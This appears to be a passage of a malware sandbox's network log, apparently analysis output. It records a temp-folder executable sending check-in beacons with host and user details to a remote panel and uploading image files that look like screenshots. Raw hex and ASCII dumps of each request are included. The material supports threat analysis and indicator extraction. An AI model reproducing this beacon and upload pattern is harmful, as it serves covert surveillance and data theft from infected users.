Nov 12, 2021 22:23:41.907869101 CET	6259	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:41.908065081 CET	6269	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:41.908160925 CET	6272	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:41.932033062 CET	6277	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:41.932398081 CET	6283	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:23:41.932651997 CET	6288	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:23:41.932670116 CET	6298	OUT	Data Raw: 7d a9 0a 66 a7 90 6a a1 9e d1 54 46 2a d3 68 b3 51 18 aa 5d 33 48 d5 33 4c 75 1b 47 c5 69 34 35 13 43 58 ca 99 b4 6a 99 6f 15 40 d1 d6 a3 c5 50 3c 55 cf 3a 67 44 2a 99 a5 71 4c 2b 57 9e 2a 81 d2 b0 94 2c 74 46 77 2a 91 4d c5 4e 56 98 56 b3 71 34 Data Ascii: }fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMNVVq4R#HE&lUc~)Q`JQI\@($2iZm.+"o7;0ROfT(%(p vi)(!L\PzR8\hC@cMa(sQN,Uzm]GCd@St+\
Nov 12, 2021 22:23:41.957333088 CET	6310	OUT	Data Raw: 83 14 62 81 45 30 b8 53 85 36 94 1a 04 28 eb 4e 1d e9 b4 b4 d0 85 a2 8a 5a 64 8b 8a 4c 52 81 4a 06 29 d8 06 e2 8a 53 49 40 20 a2 92 8a 40 14 b4 52 1a 00 5a 51 40 a2 98 0b 4b 49 4a 29 88 5a 33 49 45 08 43 b3 40 eb 40 a3 35 40 3a 8a 6e 68 14 13 61 Data Ascii: bE0S6(NZdLRJ)SI@ @RZQ@KIJ)Z3IEC@@5@:nhaii(0RRZJZhLS@C:)BSiEQ,uQNuQ#<*1OH<RMU:uM~itj-f8dvjM3N8h<8isLlJ8Pi.h0Pib@iA
Nov 12, 2021 22:23:41.957389116 CET	6327	OUT	Data Raw: a4 20 a2 92 8a 00 70 3c 62 83 48 3a d2 9a 77 01 28 a5 e9 45 00 02 96 92 96 81 31 69 28 a2 98 87 0a 5a 41 4b 4c 1e e1 4b 8a 4a 5a 62 02 29 3b d2 d2 1a 00 05 38 50 28 a0 40 29 c2 9a 69 45 50 98 ea 28 a5 1d 69 88 51 4a 28 14 b4 d1 22 af a5 29 18 a4 Data Ascii: p<bH:w(E1i(ZAKLKJZb);8P(@)iEP(iQJ(")ykbDE XC8SH,()Bbu'Zx6\bLB)vRBQIR`$xQjRZh+Tbc\|LQVfKLRF(xN)Mpd=))H(
Nov 12, 2021 22:23:41.957421064 CET	6341	OUT	Data Raw: 23 55 39 3d c7 8e b4 f1 c1 a6 03 c5 2e 6a 6c 5a 64 81 b9 a7 a9 cd 43 de a4 5a 96 8d 22 c9 29 c3 a5 34 52 d4 b3 64 c9 01 c0 a7 83 51 03 4f 0c 2a 19 69 92 66 9c 2a 2d d4 a1 8d 4b 46 89 93 8a 5c d4 60 9a 77 6e 4e 2a 5a 34 4c 90 1c 53 81 15 01 92 25 Data Ascii: #U9=.jlZdCZ")4RdQOif-KF\`wnN*Z4LS%(iZEP~#{!Ht}+<v?io\_@BQo[uf% XkWEWkVK1iS<z%[W099 w'x`\|>svO<c8<?Q}[Ya
Nov 12, 2021 22:23:42.005182981 CET	6367	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:41 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.4	49792	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:14.296639919 CET	1799	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:14.296825886 CET	1800	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:14.297132969 CET	1810	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:14.297383070 CET	1812	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:14.319067001 CET	1814	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:23:14 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:23:14.319880962 CET	1822	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:14.319940090 CET	1832	OUT	Data Raw: 4a 00 43 4c 27 34 e2 73 4d a4 c6 86 56 cf 86 7f e4 25 27 fd 71 3f cc 56 2d 6d 78 67 fe 42 52 7f d7 13 fc c5 6b 85 fe 34 4c b1 7f c1 91 d5 d6 ff 00 87 3c 21 a9 f8 96 4d d6 c8 23 b6 53 87 b8 93 ee 83 e8 3d 4d 65 e9 96 2f a9 ea 96 d6 48 42 99 a4 09 Data Ascii: JCL'4sMV%'q?V-mxgBRk4L<!M#S=Me/HBQ=uG1PimFU'j^7:Q=pXxUwek->uBHwh-$c>*%K+ l=1^Khh.Fz5Zu$(bi
Nov 12, 2021 22:23:14.319956064 CET	1836	OUT	Data Raw: 06 8d be fa 03 52 e6 d0 29 eb a9 9d b6 8d 80 f6 ad 51 69 6f 2f dc 62 b4 36 95 2f 54 65 6a 9f 6d 1e a6 8a 32 7a a3 24 c0 08 a8 5e d3 22 b5 9a ce 68 fe fc 4d 51 f9 5e d5 4a a4 58 b9 e5 1d cc 29 6c fd ab 3e 7b 2f 6a eb 0d be e1 d2 a0 92 c7 23 ee 9a Data Ascii: R)Qio/b6/Tejm2z$^"hMQ^JX)l>{/j#OFMLIMJtb]i8j:1Tek@,W$DfCt3 ?s)WEpAIo3o)kKXdPt-^6B=yyFxkfy
Nov 12, 2021 22:23:14.342485905 CET	1847	OUT	Data Raw: 8c 52 f9 c3 f8 51 45 17 64 ba 9e 45 41 1c a7 a2 13 f8 54 8b 6f 31 fe 1c 7d 6a 73 33 f6 c0 a6 99 1f fb c6 8d 49 e7 6c 05 ab 77 75 1f 8d 3c 5b a0 eb 27 e5 51 ee 3e b4 80 d3 b3 25 dd 96 36 40 a7 ef 13 4e df 0a f4 50 6a b6 68 a3 90 9b 16 85 d0 1f 75 Data Ascii: RQEdEATo1}js3Ilwu<['Q>%6@NPjhuU\^#,{~`4#7V'QG${*5<_[W/V.>Cd;1^!gGF=nl5}NPF;m)hV(\$\|.<oZO7Z$dW
Nov 12, 2021 22:23:14.342539072 CET	1863	OUT	Data Raw: 61 82 fe 55 f8 9d 67 c5 9b 54 b0 f8 61 15 9c 45 8c 70 4b 04 4a 58 f2 42 82 06 7d f8 af 9e ab bd f1 67 c5 1b ef 16 e8 6d a5 dc e9 d6 f0 21 91 64 0f 13 b6 41 1f 5f ad 70 55 78 78 4e 31 7c db dc 55 e5 19 49 72 ed 60 a5 a4 a2 b7 30 0a 29 45 06 80 0a Data Ascii: aUgTaEpKJXB}gm!dA_pUxxN1\|UIr`0)E(4;Pzm8P@:AKLBh0E%-Mj-Q@Rm(!L8UNDQL)TKN"GR3N+Si0m(H\QLC?0SZ%)hD@RFSMT'GjL
Nov 12, 2021 22:23:14.342564106 CET	1864	OUT	Data Raw: 00 19 a7 03 49 40 14 08 75 38 0a 60 a7 0a 04 c7 52 8a 4e d4 53 24 75 14 50 28 10 b4 52 d1 8a 62 16 94 51 4a 28 25 8b 40 eb 45 39 7a d3 11 b3 e1 e1 fe 99 29 f4 8c ff 00 2a a0 7e f1 fa d6 87 87 87 fa 4c df f5 cc ff 00 23 59 e7 ab 7d 6b 9e 3f c5 90 Data Ascii: I@u8`RNS$uP(RbQJ(%@E9z)*~L#Y}k?ElsJ)ZZhTXK@RR!iE%(HCSQ&%tZ46IOy32~~"J^Wa!_G7i7:1Rg:C
Nov 12, 2021 22:23:14.342580080 CET	1868	OUT	Data Raw: 85 a7 53 69 d4 c9 14 74 a0 51 40 a0 4c 70 a5 a4 14 b4 f5 24 29 47 5a 29 28 01 f4 e1 4c 14 f1 4c 86 6e 78 74 13 35 c1 f4 8c ff 00 23 59 9f c4 6b 5b c3 43 2d 76 7d 23 fe 86 b2 bf 88 fd 6b 9a 9f f1 65 f2 2e b2 fd dc 45 a4 14 52 d6 e7 28 52 d0 28 a0 Data Ascii: SitQ@Lp$)GZ)(LLnxt5#Yk[C-v}#ke.ER(R(BR1ii(BIKHS)$u)Zu4Rb0q]&YN5MBgUTb}I5Ziv_^)sgKv_Y`Uyc5?)RO`[)+$!

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	192.168.2.4	49895	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:41.979407072 CET	6351	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:42.004497051 CET	6367	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	192.168.2.4	49896	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:42.134850979 CET	6368	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:42.161371946 CET	6368	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
112	192.168.2.4	49897	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:42.308563948 CET	6369	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:42.334965944 CET	6369	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
113	192.168.2.4	49898	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:42.421041965 CET	6370	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:42.421276093 CET	6370	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:42.421971083 CET	6380	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:42.422259092 CET	6383	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:42.444580078 CET	6386	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:42.444623947 CET	6389	OUT	Data Raw: 7d 09 7c 37 64 c0 4c 62 b2 31 33 74 ce dd a3 35 e6 92 6a be 26 89 ee 12 6b fd 5d 1e db fd 7a bc b2 83 17 38 f9 b2 7e 5e 48 1c f7 35 9d 75 7f 79 7d b7 ed 77 73 dc 6c ce df 3a 42 fb 73 d7 19 fa 54 41 4d 38 b4 f4 45 4a 51 b3 d3 56 6b 26 b7 0b 7d f8 Data Ascii: }\|7dLb13t5j&k]z8~^H5uy}wsl:BsTAM8EJQVk&}~5^U_TuG`k<"Y0[djXI$cauw>Iz}kv{=20i)Om5!erlyA7qo.C[c?#\\|R^Y]
Nov 12, 2021 22:23:42.444636106 CET	6391	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:23:42.444648027 CET	6394	OUT	Data Raw: 4a 00 43 4c 27 34 e2 73 4d a4 c6 86 56 cf 86 7f e4 25 27 fd 71 3f cc 56 2d 6d 78 67 fe 42 52 7f d7 13 fc c5 6b 85 fe 34 4c b1 7f c1 91 d5 d6 ff 00 87 3c 21 a9 f8 96 4d d6 c8 23 b6 53 87 b8 93 ee 83 e8 3d 4d 65 e9 96 2f a9 ea 96 d6 48 42 99 a4 09 Data Ascii: JCL'4sMV%'q?V-mxgBRk4L<!M#S=Me/HBQ=uG1PimFU'j^7:Q=pXxUwek->uBHwh-$c>*%K+ l=1^Khh.Fz5Zu$(bi
